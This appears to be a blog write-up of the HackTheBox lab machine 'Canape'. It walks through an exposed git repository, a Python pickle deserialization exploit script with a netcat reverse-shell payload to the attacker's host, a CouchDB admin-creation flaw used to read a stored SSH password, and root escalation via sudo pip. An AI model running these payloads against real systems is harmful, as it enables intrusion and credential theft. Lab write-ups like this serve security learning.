{"id":321,"date":"2020-06-25T08:33:24","date_gmt":"2020-06-25T08:33:24","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=321"},"modified":"2020-06-25T08:36:15","modified_gmt":"2020-06-25T08:36:15","slug":"canape-hackthebox-writeup","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/canape-hackthebox-writeup\/","title":{"rendered":"Canape hackthebox Writeup"},"content":{"rendered":"\n

Hey pentesters! In this post blog post, I am gonna walk you through canape<\/strong> that is a medium linux machine<\/strong> from hackthebox.<\/p>\n\n\n\n

Summary<\/h2>\n\n\n\n

The initial foothold on the box is based on python pickle injection<\/strong> that leads to remote code execution. Privilege escalation to user exploits a vulnerability in couchdb<\/strong> that can be leveraged to create a dummy user with _admin role. Lastly, privilege escalation to root exploits the sudo privileges on \/usr\/bin\/pip<\/strong><\/p>\n\n\n\n

It was a fun box to pwn. So without any further ado, lets get started!\u00a0<\/p>\n\n\n\n

Starting with nmap scan, I found http open. Interestingly the presence of .git was reflected as part f the scan.<\/p>\n\n\n\n

\u00a0\u26a1 root@kali\u00a0 ~\/Desktop\/htb\/canape \u00a0 master\u00a0 nmap -sC -sV 10.10.10.70 -o canape.nmap\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\nStarting Nmap 7.70 ( https:\/\/nmap.org ) at 2020-06-24 00:04 IST\nNmap scan report for 10.10.10.70\nHost is up (0.26s latency).\nNot shown: 999 filtered ports\nPORT \u00a0 STATE SERVICE VERSION\n80\/tcp open\u00a0 http\u00a0 \u00a0 Apache httpd 2.4.18 ((Ubuntu))\n| http-git:\u00a0\n| \u00a0 10.10.10.70:80\/.git\/\n| \u00a0 \u00a0 Git repository found!\n| \u00a0 \u00a0 Repository description: Unnamed repository; edit this file 'description' to name the...\n| \u00a0 \u00a0 Last commit message: final # Please enter the commit message for your changes. Li...\n| \u00a0 \u00a0 Remotes:\n|_\u00a0 \u00a0 \u00a0 http:\/\/git.canape.htb\/simpsons.git\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Simpsons Fan Site\n|_http-trane-info: Problem with XML parsing of \/evox\/about\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 30.49 seconds\n<\/pre>\n\n\n\n
 So i quickly went through the url, http:\/\/10.10.10.70.<\/p>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
The title was simpson\u2019s fan site. Clicking through buttons, I found a few more pages that didnt lead to interesting results.<\/p>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
Alongside manual enumeration, I spawned up a gobuster scan but that too didnt returned anything interesting! But there was .git present, as obtained from nmap scans. So i looked upon HTTP:\/\/10.10.10.70\/.git<\/span> and found the default directory structure.\u00a0<\/p>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
\/config<\/strong> was a good starting point. Following were its contents:<\/p>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
There was an url to a git repo<\/strong>. Analysing a git repo is essential as it can lead to exposure of sensitive information.<\/p>\n\n\n\n
Following is the screenshot of the logs.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Under the page source of http:\/\/10.10.10.70<\/span><\/a>, I found this comment. It listed an endpoint \/check<\/p>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
But, http:\/\/10.10.10.70\/check<\/span><\/a> didnt seemed to work. Below is the request-response captured on the burp.<\/p>\n\n\n\n
\"\"
\/check request<\/figcaption><\/figure>\n\n\n\n
Next, I cloned the git repo using<\/p>\n\n\n\n
# git clone http:\/\/git.canape.htb\/simpsons.git<\/a><\/pre>\n\n\n\n
But before that, make an entry to \/etc\/hosts specifying git.canape.htb<\/strong> as one of the virtual hosts.<\/p>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
While analysing the logs, I found the one below that mentioned about the check functionality that didnt seemed to work earlier.<\/p>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
So I performed a git diff over that commit.<\/p>\n\n\n\n
# git diff c8a74a098a60aaea1af98945bd707a7eab0ff4b0<\/pre>\n\n\n\n
Looking at the code and its different endpoints like check, submit, one interesting thing to note was that it was using pickle module of python for serialization-deserialization<\/strong>.
 And according to the official documentation of the module, any untrusted data by the user if deserialized can lead to remote code execution.<\/strong><\/span><\/p>\n\n\n\n
For more information on insecure deserialization, visit here<\/a><\/strong><\/span>.<\/p>\n\n\n\n
import couchdb\nimport string\nimport random\nimport base64\nimport cPickle\nfrom flask import Flask, render_template, request\nfrom hashlib import md5\n\napp = Flask(__name__)\napp.config.update(\n\u00a0\u00a0\u00a0\u00a0DATABASE = \"simpsons\"\n)\ndb = couchdb.Server(\"http:\/\/localhost:5984\/\")[app.config[\"DATABASE\"]]\n\n@app.errorhandler(404)\ndef page_not_found(e):\n\u00a0\u00a0\u00a0\u00a0if random.randrange(0, 2) > 0:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))\n\u00a0\u00a0\u00a0\u00a0else:\nreturn render_template(\"index.html\")\n\n@app.route(\"\/\")\ndef index():\n\u00a0\u00a0\u00a0\u00a0return render_template(\"index.html\")\n\n@app.route(\"\/quotes\")\ndef quotes():\n\u00a0\u00a0\u00a0\u00a0quotes = []\n\u00a0\u00a0\u00a0\u00a0for id in db:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0quotes.append({\"title\": db[id][\"character\"], \"text\": db[id][\"quote\"]})\n\u00a0\u00a0\u00a0\u00a0return render_template('quotes.html', entries=quotes)\n\nWHITELIST = [\n\u00a0\u00a0\u00a0\u00a0\"homer\",\n\u00a0\u00a0\u00a0\u00a0\"marge\",\n\u00a0\u00a0\u00a0\u00a0\"bart\",\n\u00a0\u00a0\u00a0\u00a0\"lisa\",\n\u00a0\u00a0\u00a0\u00a0\"maggie\",\n\u00a0\u00a0\u00a0\u00a0\"moe\",\n\u00a0\u00a0\u00a0\u00a0\"carl\",\n\u00a0\u00a0\u00a0\u00a0\"krusty\"\n]\n\n@app.route(\"\/submit\", methods=[\"GET\", \"POST\"])\ndef submit():\n\u00a0\u00a0\u00a0\u00a0error = None\n\u00a0\u00a0\u00a0\u00a0success = None\n\n\u00a0\u00a0\u00a0\u00a0if request.method == \"POST\":\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0char = request.form[\"character\"]\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0quote = request.form[\"quote\"]\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if not char or not quote:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0error = True\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0elif not any(c.lower() in char.lower() for c in WHITELIST):\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0error = True\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0# TODO - Pickle into dictionary instead, `check` is ready\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0p_id = md5(char + quote).hexdigest()\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0outfile = open(\"\/tmp\/\" + p_id + \".p\", \"wb\")\noutfile.write(char + quote)\noutfile.close()\n\u00a0 \u00a0 \u00a0 \u00a0 success = True\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0except Exception as ex:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0error = True\n\n\u00a0\u00a0\u00a0\u00a0return render_template(\"submit.html\", error=error, success=success)\n\n@app.route(\"\/check\", methods=[\"POST\"])\ndef check():\n\u00a0\u00a0\u00a0\u00a0path = \"\/tmp\/\" + request.form[\"id\"] + \".p\"\n\u00a0\u00a0\u00a0\u00a0data = open(path, \"rb\").read()\n\n\u00a0\u00a0\u00a0\u00a0if \"p1\" in data:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0item = cPickle.loads(data)\n\u00a0\u00a0\u00a0\u00a0else:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0item = data\n\n\u00a0\u00a0\u00a0\u00a0return \"Still reviewing: \" + item\n\nif __name__ == \"__main__\":\n\u00a0\u00a0\u00a0\u00a0app.run()\n<\/pre>\n\n\n\n
<\/p>\n\n\n\n
\u00a0So this code basically depicts the functionality of all the buttons that were present on http:\/\/10.10.10.70<\/a><\/span>.<\/p>\n\n\n\n
According to the code, the untrusted data gets submitted by the user using the submit functionality on http:\/\/10.10.10.70\/submit<\/a><\/span> where the user can submit the quotes. But there is a condition. There are a few whitelisted names like homer, marge, bart. Only these can be the value of the field: character. Well, the character name won’t create any problem for us.\u00a0<\/p>\n\n\n\n
The data that was submitted in \/submit is checked inside http:\/\/10.10.10.70\/check<\/a> . cPickle.loads() method is used that is used to deserialize the data that was kept in the file. From the method declaration, Its clear that \/check uses POST as request method along with some post parameter that are required to sent along with the request. Here its \u201cid\u201d.<\/p>\n\n\n\n
Exploit<\/h2>\n\n\n\n
  1. We will submit serialized data in \/submit. The data is basically our reverse shell.<\/li>
  2. After submission we get an id<\/li>
  3. That id has to be posted inside the id parameter of \/check.<\/li>
  4. \/check deserializes the malicious quote that we sent and gives us command execution<\/strong><\/span><\/a>.<\/li><\/ol>\n\n\n\n
    For this, a python script can be made that will automate the whole process.<\/p>\n\n\n\n
    import pickle as pk\nfrom hashlib import md5\nimport requests\nimport os\n\nclass MyExploit(object):\n\tdef __reduce__(self):\n  \tcmd = 'echo homer!;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|nc 10.10.14.7 8001 >\/tmp\/f'\n  \treturn (os.system, (cmd,))\n\nsc = pk.dumps(MyExploit())\nprint sc\nchar, quote = sc.split(\"!\")\np_id = md5(char+ quote).hexdigest()\n\nrequests.post(\"http:\/\/10.10.10.70\/submit\", data={'character':char, 'quote':quote})\nrequests.post(\"http:\/\/10.10.10.70\/check\", data={'id':p_id})<\/code><\/pre>\n\n\n\n
    <\/p>\n\n\n\n
    So as the python pickle exploit runs, we get a shell on the port on which we were listening with netcat.<\/p>\n\n\n\n
    Getting user on the box<\/h2>\n\n\n\n
    I started enumeration with LinEnum.sh. Under the heading listening TCP, there was a port, 5984 listening on localhost.<\/strong>\u00a0<\/p>\n\n\n\n
    Tip: Always check for the default services that runs on the port specified. These are the services running on the internal network that can be used for further privilege escalation.<\/p>\n\n\n\n
    I checked over on internet and the service running was couchdb<\/strong>. It was predictable as couchdb module was imported in __init__.py in the git repo.<\/p>\n\n\n\n
    \"ports
    ports listening on tcp<\/figcaption><\/figure>\n\n\n\n
    We can communicate with couchdb server with curl command.<\/p>\n\n\n\n
    # curl http:\/\/127.0.0.1:5984\/<\/a><\/pre>\n\n\n\n
    To find all the databases use,<\/p>\n\n\n\n
    # curl -X  GET http:\/\/127.0.0.1\/_all_dbs<\/pre>\n\n\n\n
    \"querying
    querying coudb<\/figcaption><\/figure>\n\n\n\n
    www-data@canape:\/$ curl -X GET http:\/\/127.0.0.1:5984\/_users\u00a0\u00a0\u00a0\ncurl -X GET http:\/\/127.0.0.1:5984\/_users\n{\"db_name\":\"_users\",\"update_seq\":\"9-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQGPoiQFIJlkD1aHz7AkB5C6eLA6RnzqEkDq6gnam8cCJBkagBRQ6Xxi1C6AqN1PjNoDELX3iVH7AKIW5N4sAN1Nbzc\",\"sizes\":{\"file\":70895,\"external\":2085,\"active\":4111},\"purge_seq\":0,\"other\":{\"data_size\":2085},\"doc_del_count\":1,\"doc_count\":1,\"disk_size\":70895,\"disk_format_version\":6,\"data_size\":4111,\"compact_running\":false,\"instance_start_time\":\"0\"}<\/pre>\n\n\n\n
    I checked all the databases, but found nthing interesting. But when i tried to accessed the contents of passwords database, I got this error.<\/p>\n\n\n\n
    \"\"\/<\/figure>\n\n\n\n
    That was because I didnt had any username or password.<\/p>\n\n\n\n
    I performed a searchsploit on couchdb and got a lot of results.<\/p>\n\n\n\n
    \"couchdb
    couchdb rce < 2.1.0<\/figcaption><\/figure>\n\n\n\n
    The last one with remote code execution seemed promising so I copied the exploit from local machine to the victim using curl.<\/p>\n\n\n\n
    Vulnerability <\/h2>\n\n\n\n
    The problem is that there is a discrepancy between the Javascript JSON parser (used in validation scripts) and the one used internally by CouchDB (no-sql database), called jiffy<\/a><\/span>. Check out how each one deals with duplicate keys on an object like {“foo”:”bat”, “foo”:”bas”}:<\/p>\n\n\n\n
    Erlang (couchdb is written in this language):
    \n> jiffy:decode(“{\\”foo\\”:\\”bat\\”, \\”foo\\”:\\”bas\\”}”). 
    \n{[{<<\"foo\">>,<<\"bat\">>},{<<\"foo\">>,<<\"bas\">>}]}<\/p>\n\n\n\n
    Javascript:
     > JSON.parse(“{\\”foo\\”:\\”bat\\”, \\”foo\\”: \\”bas\\”}”)
     {foo: “bas”}<\/p>\n\n\n\n
    The json parser will only store the last value, but the  getter function for CouchDB\u2019s internal representation of the data will only return the first<\/em> value.<\/p>\n\n\n\n
    That can be bypassed and a new user can be created with _admin<\/strong> role who will have full control over the database.For more details visit here<\/span><\/strong><\/a><\/p>\n\n\n\n
    Upon execution, it printed that user guest with password guest has been created with _admin role. So now we can view the contents of passwords database.<\/p>\n\n\n\n
    www-data@canape:\/tmp$\u00a0 curl -X GET http:\/\/guest:guest@127.0.0.1\/passwords\/_all_docs\n\u00a0curl -X GET http:\/\/guest:guest@127.0.0.1\/passwords\/_all_docs\n{\"total_rows\":4,\"offset\":0,\"rows\":[\n{\"id\":\"739c5ebdf3f7a001bebb8fc4380019e4\",\"key\":\"739c5ebdf3f7a001bebb8fc4380019e4\",\"value\":{\"rev\":\"2-81cf17b971d9229c54be92eeee723296\"}},\n{\"id\":\"739c5ebdf3f7a001bebb8fc43800368d\",\"key\":\"739c5ebdf3f7a001bebb8fc43800368d\",\"value\":{\"rev\":\"2-43f8db6aa3b51643c9a0e21cacd92c6e\"}},\n{\"id\":\"739c5ebdf3f7a001bebb8fc438003e5f\",\"key\":\"739c5ebdf3f7a001bebb8fc438003e5f\",\"value\":{\"rev\":\"1-77cd0af093b96943ecb42c2e5358fe61\"}},\n{\"id\":\"739c5ebdf3f7a001bebb8fc438004738\",\"key\":\"739c5ebdf3f7a001bebb8fc438004738\",\"value\":{\"rev\":\"1-49a20010e64044ee7571b8c1b902cf8c\"}}\n]}<\/pre>\n\n\n\n
    Now we will query the server with the id parameter<\/p>\n\n\n\n
    www-data@canape:\/tmp$ curl -X GET http:\/\/guest:guest@127.0.0.1\/passwords\/739c5ebdf3f7a001bebb8fc4380019e4\n\n{\"_id\":\"739c5ebdf3f7a001bebb8fc4380019e4\",\"_rev\":\"2-81cf17b971d9229c54be92eeee723296\",\"item\":\"ssh\",\"password\":\"0B4jyA0xtytZi7esBNGp\",\"user\":\"\"}<\/pre>\n\n\n\n
    The user is null here. But we can try the password for the user- homer<\/strong> that exists on the box.<\/p>\n\n\n\n
    \"homer
    homer successfully logged in<\/figcaption><\/figure>\n\n\n\n
    And it worked!!! User Pwned.<\/p>\n\n\n\n
    \"getting
    getting user.txt for homer<\/figcaption><\/figure>\n\n\n\n
    Upon enumeration with LinEnum.sh, I found that sudo<\/strong> was present on the box. So the very first thing to test is if there are any sudo privileges on the box?<\/p>\n\n\n\n
    Check with<\/p>\n\n\n\n
    # sudo -l<\/pre>\n\n\n\n
    \"pip
    pip can run with sudo<\/figcaption><\/figure>\n\n\n\n
    Homer can run \/usr\/bin\/pip install<\/strong> with root privileges<\/strong>. I searched for privilege escalation with pip and found a link to https:\/\/gtfobins.github.io\/gtfobins\/pip\/<\/span><\/a><\/p>\n\n\n\n
    \"\"\/<\/figure>\n\n\n\n
    Steps in exploitation<\/h2>\n\n\n\n
    1. A temporary directory is created with mktemp -d <\/strong>and is stored in variable TF<\/li>
    2. Now we insert our shell code(that will be running as root) in a file inside the temporary directory with name setup.py<\/strong><\/li>
    3. When we pip install that directory with, the python payload gets executed as root and we get a shell.<\/li><\/ol>\n\n\n\n
      \"\"\/<\/figure>\n\n\n\n
      Thats all for the blog post. Hope you enjoyed reading it. For much content on infosec subscribe to my page.
      \nUntil then, happy hunting!!<\/p>\n\n\n\n
      <\/p>\n","protected":false},"excerpt":{"rendered":"
      Hey pentesters! In this post blog post, I am gonna walk you through canape that is a medium linux machine from hackthebox. Summary The initial foothold on the box is based on python pickle injection that leads to remote code execution. Privilege escalation to user exploits a vulnerability in couchdb that can be leveraged to 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